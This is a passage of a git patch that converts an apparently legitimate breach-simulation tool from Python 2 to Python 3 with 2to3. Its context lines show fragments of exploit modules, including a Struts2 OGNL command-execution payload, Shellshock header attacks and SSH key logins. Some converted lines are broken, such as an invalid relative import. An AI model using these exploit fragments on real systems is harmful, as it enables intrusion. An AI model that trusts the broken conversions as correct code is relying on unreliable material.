From abaaeea69af6966cb6811c60c3c90fdbbab4366f Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Sun, 28 Jul 2019 13:28:37 +0300
Subject: [PATCH 001/108] 2to3 run on all project source files
---
monkey/common/cloud/aws_instance.py | 12 ++++++------
...t_filter_instance_data_from_aws_response.py | 10 +++++-----
monkey/common/cmd/aws/aws_cmd_result.py | 6 +++---
monkey/common/cmd/aws/aws_cmd_runner.py | 4 ++--
monkey/common/cmd/cmd_runner.py | 2 +-
monkey/common/network/network_range.py | 6 ++----
monkey/common/utils/mongo_utils.py | 6 +++---
monkey/common/utils/reg_utils.py | 10 +++++-----
monkey/common/utils/wmi_utils.py | 2 +-
monkey/infection_monkey.py | 2 +-
monkey/infection_monkey/config.py | 2 +-
monkey/infection_monkey/exploit/__init__.py | 4 +---
monkey/infection_monkey/exploit/hadoop.py | 2 +-
monkey/infection_monkey/exploit/rdpgrinder.py | 8 ++++----
monkey/infection_monkey/exploit/shellshock.py | 2 +-
monkey/infection_monkey/exploit/smbexec.py | 2 +-
monkey/infection_monkey/exploit/sshexec.py | 6 +++---
monkey/infection_monkey/exploit/struts2.py | 18 +++++++++---------
monkey/infection_monkey/exploit/tools.py | 12 ++++++------
monkey/infection_monkey/exploit/web_rce.py | 4 ++--
monkey/infection_monkey/exploit/weblogic.py | 4 ++--
.../infection_monkey/exploit/win_ms08_067.py | 4 ++--
monkey/infection_monkey/main.py | 2 +-
monkey/infection_monkey/model/host.py | 4 ++--
monkey/infection_monkey/monkey.py | 2 +-
monkey/infection_monkey/network/__init__.py | 8 ++------
monkey/infection_monkey/network/firewall.py | 12 ++++++------
monkey/infection_monkey/network/info.py | 10 +++++-----
.../network/network_scanner.py | 4 ++--
monkey/infection_monkey/network/smbfinger.py | 4 ++--
monkey/infection_monkey/network/sshfinger.py | 2 +-
monkey/infection_monkey/network/tcp_scanner.py | 4 ++--
.../infection_monkey/system_info/__init__.py | 4 ++--
monkey/infection_monkey/system_singleton.py | 4 +---
.../infection_monkey/telemetry/base_telem.py | 4 +---
monkey/infection_monkey/transport/http.py | 18 +++++++++---------
monkey/monkey_island.py | 2 +-
monkey/monkey_island/cc/app.py | 12 ++++++------
.../monkey_island/cc/environment/__init__.py | 4 +---
monkey/monkey_island/cc/main.py | 2 +-
monkey/monkey_island/cc/models/__init__.py | 10 +++++-----
monkey/monkey_island/cc/models/test_monkey.py | 10 +++++-----
.../cc/report_exporter_manager.py | 4 +---
.../cc/services/attack/attack_config.py | 16 ++++++++--------
.../cc/services/attack/attack_report.py | 2 +-
.../services/attack/technique_reports/T1110.py | 2 +-
.../attack/technique_reports/__init__.py | 3 +--
monkey/monkey_island/cc/services/config.py | 8 ++++----
.../monkey_island/cc/services/config_schema.py | 2 +-
monkey/monkey_island/cc/services/edge.py | 2 +-
.../cc/services/mimikatz_utils.py | 4 ++--
monkey/monkey_island/cc/services/pth_report.py | 2 +-
monkey/monkey_island/cc/services/report.py | 2 +-
.../cc/services/test_PTHReportService.py | 12 ++++++------
.../monkey_island/cc/services/wmi_handler.py | 4 ++--
.../monkey_island/cc/testing/IslandTestCase.py | 2 +-
56 files changed, 149 insertions(+), 166 deletions(-)
diff --git a/monkey/common/cloud/aws_instance.py b/monkey/common/cloud/aws_instance.py
index ea6a10df7..0aece9bcc 100644
--- a/monkey/common/cloud/aws_instance.py
+++ b/monkey/common/cloud/aws_instance.py
@@ -1,6 +1,6 @@
import json
import re
-import urllib2
+import urllib.request, urllib.error, urllib.parse
import logging
@@ -25,18 +25,18 @@ class AwsInstance(object):
self.account_id = None
try:
- self.instance_id = urllib2.urlopen(
+ self.instance_id = urllib.request.urlopen(
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read()
self.region = self._parse_region(
- urllib2.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read())
- except urllib2.URLError as e:
+ urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read())
+ except urllib.error.URLError as e:
logger.warning("Failed init of AwsInstance while getting metadata: {}".format(e.message))
try:
self.account_id = self._extract_account_id(
- urllib2.urlopen(
+ urllib.request.urlopen(
AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read())
- except urllib2.URLError as e:
+ except urllib.error.URLError as e:
logger.warning("Failed init of AwsInstance while getting dynamic instance data: {}".format(e.message))
@staticmethod
diff --git a/monkey/common/cloud/test_filter_instance_data_from_aws_response.py b/monkey/common/cloud/test_filter_instance_data_from_aws_response.py
index 8aec518d3..b48674387 100644
--- a/monkey/common/cloud/test_filter_instance_data_from_aws_response.py
+++ b/monkey/common/cloud/test_filter_instance_data_from_aws_response.py
@@ -1,5 +1,5 @@
from unittest import TestCase
-from aws_service import filter_instance_data_from_aws_response
+from .aws_service import filter_instance_data_from_aws_response
import json
@@ -53,7 +53,7 @@ class TestFilter_instance_data_from_aws_response(TestCase):
self.assertEqual(filter_instance_data_from_aws_response(json.loads(json_response_empty)), [])
self.assertEqual(
filter_instance_data_from_aws_response(json.loads(json_response_full)),
- [{'instance_id': u'string',
- 'ip_address': u'string',
- 'name': u'string',
- 'os': u'string'}])
+ [{'instance_id': 'string',
+ 'ip_address': 'string',
+ 'name': 'string',
+ 'os': 'string'}])
diff --git a/monkey/common/cmd/aws/aws_cmd_result.py b/monkey/common/cmd/aws/aws_cmd_result.py
index 79b1bb79d..c8647bfe4 100644
--- a/monkey/common/cmd/aws/aws_cmd_result.py
+++ b/monkey/common/cmd/aws/aws_cmd_result.py
@@ -11,8 +11,8 @@ class AwsCmdResult(CmdResult):
def __init__(self, command_info):
super(AwsCmdResult, self).__init__(
- self.is_successful(command_info, True), command_info[u'ResponseCode'], command_info[u'StandardOutputContent'],
- command_info[u'StandardErrorContent'])
+ self.is_successful(command_info, True), command_info['ResponseCode'], command_info['StandardOutputContent'],
+ command_info['StandardErrorContent'])
self.command_info = command_info
@staticmethod
@@ -23,4 +23,4 @@ class AwsCmdResult(CmdResult):
:param is_timeout: Whether the given command timed out
:return: True if successful, False otherwise.
"""
- return (command_info[u'Status'] == u'Success') or (is_timeout and (command_info[u'Status'] == u'InProgress'))
+ return (command_info['Status'] == 'Success') or (is_timeout and (command_info['Status'] == 'InProgress'))
diff --git a/monkey/common/cmd/aws/aws_cmd_runner.py b/monkey/common/cmd/aws/aws_cmd_runner.py
index b4198f642..9745d2c1d 100644
--- a/monkey/common/cmd/aws/aws_cmd_runner.py
+++ b/monkey/common/cmd/aws/aws_cmd_runner.py
@@ -28,9 +28,9 @@ class AwsCmdRunner(CmdRunner):
return AwsCmdResult(command_info)
def get_command_status(self, command_info):
- if command_info[u'Status'] == u'InProgress':
+ if command_info['Status'] == 'InProgress':
return CmdStatus.IN_PROGRESS
- elif command_info[u'Status'] == u'Success':
+ elif command_info['Status'] == 'Success':
return CmdStatus.SUCCESS
else:
return CmdStatus.FAILURE
diff --git a/monkey/common/cmd/cmd_runner.py b/monkey/common/cmd/cmd_runner.py
index 6686508a4..0450321b0 100644
--- a/monkey/common/cmd/cmd_runner.py
+++ b/monkey/common/cmd/cmd_runner.py
@@ -61,7 +61,7 @@ class CmdRunner(object):
command_instance_dict[command] = instance
instance_results = {}
- command_result_pairs = CmdRunner.wait_commands(command_instance_dict.keys())
+ command_result_pairs = CmdRunner.wait_commands(list(command_instance_dict.keys()))
for command, result in command_result_pairs:
instance = command_instance_dict[command]
instance_results[instance['instance_id']] = inst_n_cmd_res_to_res(instance, result)
diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py
index de89f7e4a..244a3ad3b 100644
--- a/monkey/common/network/network_range.py
+++ b/monkey/common/network/network_range.py
@@ -12,9 +12,7 @@ __author__ = 'itamar'
LOG = logging.getLogger(__name__)
-class NetworkRange(object):
- __metaclass__ = ABCMeta
-
+class NetworkRange(object, metaclass=ABCMeta):
def __init__(self, shuffle=True):
self._shuffle = shuffle
@@ -119,7 +117,7 @@ class IpRange(NetworkRange):
return self._lower_end_ip_num <= self._ip_to_number(ip_address) <= self._higher_end_ip_num
def _get_range(self):
- return range(self._lower_end_ip_num, self._higher_end_ip_num + 1)
+ return list(range(self._lower_end_ip_num, self._higher_end_ip_num + 1))
class SingleIpRange(NetworkRange):
diff --git a/monkey/common/utils/mongo_utils.py b/monkey/common/utils/mongo_utils.py
index 7524a545e..cc5bea7d1 100644
--- a/monkey/common/utils/mongo_utils.py
+++ b/monkey/common/utils/mongo_utils.py
@@ -12,8 +12,8 @@ class MongoUtils:
@staticmethod
def fix_obj_for_mongo(o):
- if type(o) == dict:
- return dict([(k, MongoUtils.fix_obj_for_mongo(v)) for k, v in o.iteritems()])
+ if isinstance(o, dict):
+ return dict([(k, MongoUtils.fix_obj_for_mongo(v)) for k, v in list(o.items())])
elif type(o) in (list, tuple):
return [MongoUtils.fix_obj_for_mongo(i) for i in o]
@@ -21,7 +21,7 @@ class MongoUtils:
elif type(o) in (int, float, bool):
return o
- elif type(o) in (str, unicode):
+ elif type(o) in (str, str):
# mongo dosn't like unprintable chars, so we use repr :/
return repr(o)
diff --git a/monkey/common/utils/reg_utils.py b/monkey/common/utils/reg_utils.py
index 1e6c297b3..fad92df5e 100644
--- a/monkey/common/utils/reg_utils.py
+++ b/monkey/common/utils/reg_utils.py
@@ -1,4 +1,4 @@
-import _winreg
+import winreg
from common.utils.mongo_utils import MongoUtils
@@ -12,11 +12,11 @@ class RegUtils:
pass
@staticmethod
- def get_reg_key(subkey_path, store=_winreg.HKEY_LOCAL_MACHINE):
- key = _winreg.ConnectRegistry(None, store)
- subkey = _winreg.OpenKey(key, subkey_path)
+ def get_reg_key(subkey_path, store=winreg.HKEY_LOCAL_MACHINE):
+ key = winreg.ConnectRegistry(None, store)
+ subkey = winreg.OpenKey(key, subkey_path)
- d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[0])])
+ d = dict([winreg.EnumValue(subkey, i)[:2] for i in range(winreg.QueryInfoKey(subkey)[0])])
d = MongoUtils.fix_obj_for_mongo(d)
subkey.Close()
diff --git a/monkey/common/utils/wmi_utils.py b/monkey/common/utils/wmi_utils.py
index 7b1dae455..4df0e6886 100644
--- a/monkey/common/utils/wmi_utils.py
+++ b/monkey/common/utils/wmi_utils.py
@@ -1,6 +1,6 @@
import wmi
-from mongo_utils import MongoUtils
+from .mongo_utils import MongoUtils
__author__ = 'maor.rayzin'
diff --git a/monkey/infection_monkey.py b/monkey/infection_monkey.py
index 86e5f5657..7059088c9 100644
--- a/monkey/infection_monkey.py
+++ b/monkey/infection_monkey.py
@@ -1,4 +1,4 @@
-import infection_monkey.main
+from . import infection_monkey.main
if "__main__" == __name__:
infection_monkey.main.main()
diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py
index f7e4cfae4..e95ad46b6 100644
--- a/monkey/infection_monkey/config.py
+++ b/monkey/infection_monkey/config.py
@@ -22,7 +22,7 @@ class Configuration(object):
exploit_import = importlib.import_module('infection_monkey.exploit')
unknown_items = []
- for key, value in formatted_data.items():
+ for key, value in list(formatted_data.items()):
if key.startswith('_'):
continue
if key in ["name", "id", "current_server"]:
diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py
index 19e5b327e..0dacb3496 100644
--- a/monkey/infection_monkey/exploit/__init__.py
+++ b/monkey/infection_monkey/exploit/__init__.py
@@ -6,9 +6,7 @@ from datetime import datetime
__author__ = 'itamar'
-class HostExploiter(object):
- __metaclass__ = ABCMeta
-
+class HostExploiter(object, metaclass=ABCMeta):
_TARGET_OS_TYPE = []
# Usual values are 'vulnerability' or 'brute_force'
diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py
index 958bab7eb..8dfa67b08 100644
--- a/monkey/infection_monkey/exploit/hadoop.py
+++ b/monkey/infection_monkey/exploit/hadoop.py
@@ -58,7 +58,7 @@ class HadoopExploiter(WebRCE):
resp = json.loads(resp.content)
app_id = resp['application-id']
# Create a random name for our application in YARN
- rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in xrange(self.RAN_STR_LEN)])
+ rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)])
payload = self.build_payload(app_id, rand_name, command)
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload)
return resp.status_code == 202
diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py
index 0db63e86d..ed64736ac 100644
--- a/monkey/infection_monkey/exploit/rdpgrinder.py
+++ b/monkey/infection_monkey/exploit/rdpgrinder.py
@@ -125,7 +125,7 @@ class KeyPressRDPClient(rdp.RDPClientObserver):
self._update_lock.acquire()
time_diff = time.time() - self._last_update
- if type(key) is WaitUpdateEvent:
+ if isinstance(key, WaitUpdateEvent):
self._wait_for_update = True
self._update_lock.release()
key.updates -= 1
@@ -134,12 +134,12 @@ class KeyPressRDPClient(rdp.RDPClientObserver):
elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
self._wait_for_update = False
self._update_lock.release()
- if type(key) is ScanCodeEvent:
+ if isinstance(key, ScanCodeEvent):
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed,
key.is_special)
- elif type(key) is CharEvent:
+ elif isinstance(key, CharEvent):
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
- elif type(key) is SleepEvent:
+ elif isinstance(key, SleepEvent):
time.sleep(key.interval)
self._keys = self._keys[1:]
diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py
index 743761a92..0e05149e7 100644
--- a/monkey/infection_monkey/exploit/shellshock.py
+++ b/monkey/infection_monkey/exploit/shellshock.py
@@ -169,7 +169,7 @@ class ShellShockExploiter(HostExploiter):
LOG.debug("Attack Flag is: %s" % self.success_flag)
LOG.debug("Trying exploit for %s" % url)
- for header, exploit in attacks.iteritems():
+ for header, exploit in attacks.items():
attack = exploit + ' echo ' + self.success_flag + "; " + TEST_COMMAND
result = self.attack_page(url, header, attack)
if self.success_flag in result:
diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py
index d49e66ae8..4646d7dd2 100644
--- a/monkey/infection_monkey/exploit/smbexec.py
+++ b/monkey/infection_monkey/exploit/smbexec.py
@@ -95,7 +95,7 @@ class SmbExploiter(HostExploiter):
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1)
- for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
+ for str_bind_format, port in list(SmbExploiter.KNOWN_PROTOCOLS.values()):
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
rpctransport.set_dport(port)
diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py
index c7cf030c1..ff979d6e7 100644
--- a/monkey/infection_monkey/exploit/sshexec.py
+++ b/monkey/infection_monkey/exploit/sshexec.py
@@ -2,7 +2,7 @@ import logging
import time
import paramiko
-import StringIO
+import io
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.exploit import HostExploiter
@@ -41,7 +41,7 @@ class SSHExploiter(HostExploiter):
for user, ssh_key_pair in user_ssh_key_pairs:
# Creating file-like private key for paramiko
- pkey = StringIO.StringIO(ssh_key_pair['private_key'])
+ pkey = io.StringIO(ssh_key_pair['private_key'])
ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip'])
try:
pkey = paramiko.RSAKey.from_private_key(pkey)
@@ -100,7 +100,7 @@ class SSHExploiter(HostExploiter):
port = SSH_PORT
# if ssh banner found on different port, use that port.
- for servkey, servdata in self.host.services.items():
+ for servkey, servdata in list(self.host.services.items()):
if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
port = int(servkey.replace('tcp-', ''))
diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py
index cb81a2ef5..4be2d0acd 100644
--- a/monkey/infection_monkey/exploit/struts2.py
+++ b/monkey/infection_monkey/exploit/struts2.py
@@ -3,8 +3,8 @@
code used is from https://www.exploit-db.com/exploits/41570/
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
"""
-import urllib2
-import httplib
+import urllib.request, urllib.error, urllib.parse
+import http.client
import unicodedata
import re
import ssl
@@ -47,10 +47,10 @@ class Struts2Exploiter(WebRCE):
def get_redirected(url):
# Returns false if url is not right
headers = {'User-Agent': 'Mozilla/5.0'}
- request = urllib2.Request(url, headers=headers)
+ request = urllib.request.Request(url, headers=headers)
try:
- return urllib2.urlopen(request, context=ssl._create_unverified_context()).geturl()
- except urllib2.URLError:
+ return urllib.request.urlopen(request, context=ssl._create_unverified_context()).geturl()
+ except urllib.error.URLError:
LOG.error("Can't reach struts2 server")
return False
@@ -80,17 +80,17 @@ class Struts2Exploiter(WebRCE):
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
"(#ros.flush())}" % cmd
# Turns payload ascii just for consistency
- if isinstance(payload, unicode):
+ if isinstance(payload, str):
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
try:
- request = urllib2.Request(url, headers=headers)
+ request = urllib.request.Request(url, headers=headers)
# Timeout added or else we would wait for all monkeys' output
- page = urllib2.urlopen(request).read()
+ page = urllib.request.urlopen(request).read()
except AttributeError:
# If url does not exist
return False
- except httplib.IncompleteRead as e:
+ except http.client.IncompleteRead as e:
page = e.partial
return page
diff --git a/monkey/infection_monkey/exploit/tools.py b/monkey/infection_monkey/exploit/tools.py
index 0b496f8be..152205d70 100644
--- a/monkey/infection_monkey/exploit/tools.py
+++ b/monkey/infection_monkey/exploit/tools.py
@@ -6,7 +6,7 @@ import pprint
import socket
import struct
import sys
-import urllib
+import urllib.request, urllib.parse, urllib.error
from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.dcom import wmi
@@ -105,9 +105,9 @@ class WmiTools(object):
@staticmethod
def dcom_cleanup():
- for port_map in DCOMConnection.PORTMAPS.keys():
+ for port_map in list(DCOMConnection.PORTMAPS.keys()):
del DCOMConnection.PORTMAPS[port_map]
- for oid_set in DCOMConnection.OID_SET.keys():
+ for oid_set in list(DCOMConnection.OID_SET.keys()):
del DCOMConnection.OID_SET[port_map]
DCOMConnection.OID_SET = {}
@@ -151,7 +151,7 @@ class WmiTools(object):
record = next_item.getProperties()
if not fields:
- fields = record.keys()
+ fields = list(record.keys())
query_record = {}
for key in fields:
@@ -383,7 +383,7 @@ class HTTPTools(object):
httpd.daemon = True
httpd.start()
- return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
+ return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd
@staticmethod
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
@@ -411,7 +411,7 @@ class HTTPTools(object):
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
httpd.start()
lock.acquire()
- return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
+ return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd
def get_interface_to_target(dst):
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index fe45c65ce..56aa77442 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -370,7 +370,7 @@ class WebRCE(HostExploiter):
LOG.error("Something went wrong while trying to change permission: %s" % e)
return False
# If exploiter returns True / False
- if type(resp) is bool:
+ if isinstance(resp, bool):
LOG.info("Permission change finished")
return resp
# If exploiter returns command output, we can check for execution errors
@@ -406,7 +406,7 @@ class WebRCE(HostExploiter):
try:
resp = self.exploit(url, command)
# If exploiter returns True / False
- if type(resp) is bool:
+ if isinstance(resp, bool):
LOG.info("Execution attempt successfully finished")
self.add_executed_cmd(command)
return resp
diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py
index 87ea58477..625de13c6 100644
--- a/monkey/infection_monkey/exploit/weblogic.py
+++ b/monkey/infection_monkey/exploit/weblogic.py
@@ -1,11 +1,11 @@
-from __future__ import print_function
+
import threading
import logging
import time
import copy
from requests import post, exceptions
-from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
+from http.server import BaseHTTPRequestHandler, HTTPServer
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit import HostExploiter
diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py
index e1d2e5b85..170a7f1dc 100644
--- a/monkey/infection_monkey/exploit/win_ms08_067.py
+++ b/monkey/infection_monkey/exploit/win_ms08_067.py
@@ -162,7 +162,7 @@ class Ms08_067_Exploiter(HostExploiter):
def is_os_supported(self):
if self.host.os.get('type') in self._TARGET_OS_TYPE and \
- self.host.os.get('version') in self._windows_versions.keys():
+ self.host.os.get('version') in list(self._windows_versions.keys()):
return True
if not self.host.os.get('type') or (
@@ -172,7 +172,7 @@ class Ms08_067_Exploiter(HostExploiter):
smb_finger = SMBFinger()
if smb_finger.get_host_fingerprint(self.host):
return self.host.os.get('type') in self._TARGET_OS_TYPE and \
- self.host.os.get('version') in self._windows_versions.keys()
+ self.host.os.get('version') in list(self._windows_versions.keys())
return False
def _exploit_host(self):
diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py
index b8e292243..817b83024 100644
--- a/monkey/infection_monkey/main.py
+++ b/monkey/infection_monkey/main.py
@@ -1,4 +1,4 @@
-from __future__ import print_function
+
import argparse
import json
diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py
index dcc6e7455..1a4fef1c8 100644
--- a/monkey/infection_monkey/model/host.py
+++ b/monkey/infection_monkey/model/host.py
@@ -35,10 +35,10 @@ class VictimHost(object):
def __str__(self):
victim = "Victim Host %s: " % self.ip_addr
victim += "OS - ["
- for k, v in self.os.items():
+ for k, v in list(self.os.items()):
victim += "%s-%s " % (k, v)
victim += "] Services - ["
- for k, v in self.services.items():
+ for k, v in list(self.services.items()):
victim += "%s-%s " % (k, v)
victim += '] '
victim += "target monkey: %s" % self.monkey_exe
diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index af3a48bb2..0be24db3f 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -135,7 +135,7 @@ class InfectionMonkey(object):
else:
LOG.debug("Running with depth: %d" % WormConfiguration.depth)
- for iteration_index in xrange(WormConfiguration.max_iterations):
+ for iteration_index in range(WormConfiguration.max_iterations):
ControlClient.keepalive()
ControlClient.load_control_config()
diff --git a/monkey/infection_monkey/network/__init__.py b/monkey/infection_monkey/network/__init__.py
index 59a6d01d6..33a6871e2 100644
--- a/monkey/infection_monkey/network/__init__.py
+++ b/monkey/infection_monkey/network/__init__.py
@@ -3,17 +3,13 @@ from abc import ABCMeta, abstractmethod, abstractproperty
__author__ = 'itamar'
-class HostScanner(object):
- __metaclass__ = ABCMeta
-
+class HostScanner(object, metaclass=ABCMeta):
@abstractmethod
def is_host_alive(self, host):
raise NotImplementedError()
-class HostFinger(object):
- __metaclass__ = ABCMeta
-
+class HostFinger(object, metaclass=ABCMeta):
@abstractproperty
def _SCANNED_SERVICE(self):
pass
diff --git a/monkey/infection_monkey/network/firewall.py b/monkey/infection_monkey/network/firewall.py
index 678b6f67f..88171ecda 100644
--- a/monkey/infection_monkey/network/firewall.py
+++ b/monkey/infection_monkey/network/firewall.py
@@ -4,7 +4,7 @@ import platform
def _run_netsh_cmd(command, args):
- cmd = subprocess.Popen("netsh %s %s" % (command, " ".join(['%s="%s"' % (key, value) for key, value in args.items()
+ cmd = subprocess.Popen("netsh %s %s" % (command, " ".join(['%s="%s"' % (key, value) for key, value in list(args.items())
if value])), stdout=subprocess.PIPE)
return cmd.stdout.read().strip().lower().endswith('ok.')
@@ -81,17 +81,17 @@ class WinAdvFirewall(FirewallApp):
if not self.is_enabled():
return True
- for rule in self._rules.values():
+ for rule in list(self._rules.values()):
if rule.get('program') == sys.executable and \
'in' == rule.get('dir') and \
'allow' == rule.get('action') and \
- 4 == len(rule.keys()):
+ 4 == len(list(rule.keys())):
return True
return False
def close(self):
try:
- for rule in self._rules.keys():
+ for rule in list(self._rules.keys()):
self.remove_firewall_rule({'name': rule})
except:
pass
@@ -151,14 +151,14 @@ class WinFirewall(FirewallApp):
if not self.is_enabled():
return True
- for rule in self._rules.values():
+ for rule in list(self._rules.values()):
if rule.get('program') == sys.executable and 'ENABLE' == rule.get('mode'):
return True
return False
def close(self):
try:
- for rule in self._rules.values():
+ for rule in list(self._rules.values()):
self.remove_firewall_rule(**rule)
except:
pass
diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py
index 952a9282e..c1e50586f 100644
--- a/monkey/infection_monkey/network/info.py
+++ b/monkey/infection_monkey/network/info.py
@@ -15,7 +15,7 @@ from requests import ConnectionError
from common.network.network_range import CidrRange
try:
- long # Python 2
+ int # Python 2
except NameError:
long = int # Python 3
@@ -106,9 +106,9 @@ else:
ifaddr = socket.inet_ntoa(ifreq[20:24])
else:
continue
- routes.append((socket.htonl(long(dst, 16)) & 0xffffffff,
- socket.htonl(long(msk, 16)) & 0xffffffff,
- socket.inet_ntoa(struct.pack("I", long(gw, 16))),
+ routes.append((socket.htonl(int(dst, 16)) & 0xffffffff,
+ socket.htonl(int(msk, 16)) & 0xffffffff,
+ socket.inet_ntoa(struct.pack("I", int(gw, 16))),
iff, ifaddr))
f.close()
@@ -158,7 +158,7 @@ def get_interfaces_ranges():
for net_interface in ifs:
address_str = net_interface['addr']
netmask_str = net_interface['netmask']
- ip_interface = ipaddress.ip_interface(u"%s/%s" % (address_str, netmask_str))
+ ip_interface = ipaddress.ip_interface("%s/%s" % (address_str, netmask_str))
# limit subnet scans to class C only
res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str)))
return res
diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py
index 837add48a..e495b3ae7 100644
--- a/monkey/infection_monkey/network/network_scanner.py
+++ b/monkey/infection_monkey/network/network_scanner.py
@@ -48,13 +48,13 @@ class NetworkScanner(object):
subnets_to_scan = []
if len(WormConfiguration.inaccessible_subnets) > 1:
for subnet_str in WormConfiguration.inaccessible_subnets:
- if NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses], subnet_str):
+ if NetworkScanner._is_any_ip_in_subnet([str(x) for x in self._ip_addresses], subnet_str):
# If machine has IPs from 2 different subnets in the same group, there's no point checking the other
# subnet.
for other_subnet_str in WormConfiguration.inaccessible_subnets:
if other_subnet_str == subnet_str:
continue
- if not NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses],
+ if not NetworkScanner._is_any_ip_in_subnet([str(x) for x in self._ip_addresses],
other_subnet_str):
subnets_to_scan.append(NetworkRange.get_range_obj(other_subnet_str))
break
diff --git a/monkey/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py
index e17bf4a56..b39ffef7a 100644
--- a/monkey/infection_monkey/network/smbfinger.py
+++ b/monkey/infection_monkey/network/smbfinger.py
@@ -19,14 +19,14 @@ class Packet(object):
def __init__(self, **kw):
self.fields = odict(self.__class__.fields)
- for k, v in kw.items():
+ for k, v in list(kw.items()):
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
- return "".join(map(str, self.fields.values()))
+ return "".join(map(str, list(self.fields.values())))
##### SMB Packets #####
diff --git a/monkey/infection_monkey/network/sshfinger.py b/monkey/infection_monkey/network/sshfinger.py
index 56779bb8f..cc0849d19 100644
--- a/monkey/infection_monkey/network/sshfinger.py
+++ b/monkey/infection_monkey/network/sshfinger.py
@@ -36,7 +36,7 @@ class SSHFinger(HostFinger):
def get_host_fingerprint(self, host):
assert isinstance(host, VictimHost)
- for name, data in host.services.items():
+ for name, data in list(host.services.items()):
banner = data.get('banner', '')
if self._banner_regex.search(banner):
self._banner_match(name, host, banner)
diff --git a/monkey/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py
index e76c08b46..2ea88842f 100644
--- a/monkey/infection_monkey/network/tcp_scanner.py
+++ b/monkey/infection_monkey/network/tcp_scanner.py
@@ -1,4 +1,4 @@
-from itertools import izip_longest
+from itertools import zip_longest
from random import shuffle
import infection_monkey.config
@@ -34,7 +34,7 @@ class TcpScanner(HostScanner, HostFinger):
ports, banners = check_tcp_ports(host.ip_addr, target_ports, self._config.tcp_scan_timeout / 1000.0,
self._config.tcp_scan_get_banner)
- for target_port, banner in izip_longest(ports, banners, fillvalue=None):
+ for target_port, banner in zip_longest(ports, banners, fillvalue=None):
service = tcp_port_to_service(target_port)
self.init_service(host.services, service, target_port)
if banner:
diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py
index 56d7fca8b..02de3d1d4 100644
--- a/monkey/infection_monkey/system_info/__init__.py
+++ b/monkey/infection_monkey/system_info/__init__.py
@@ -34,10 +34,10 @@ class SystemInfoCollector(object):
def __init__(self):
self.os = SystemInfoCollector.get_os()
if OperatingSystem.Windows == self.os:
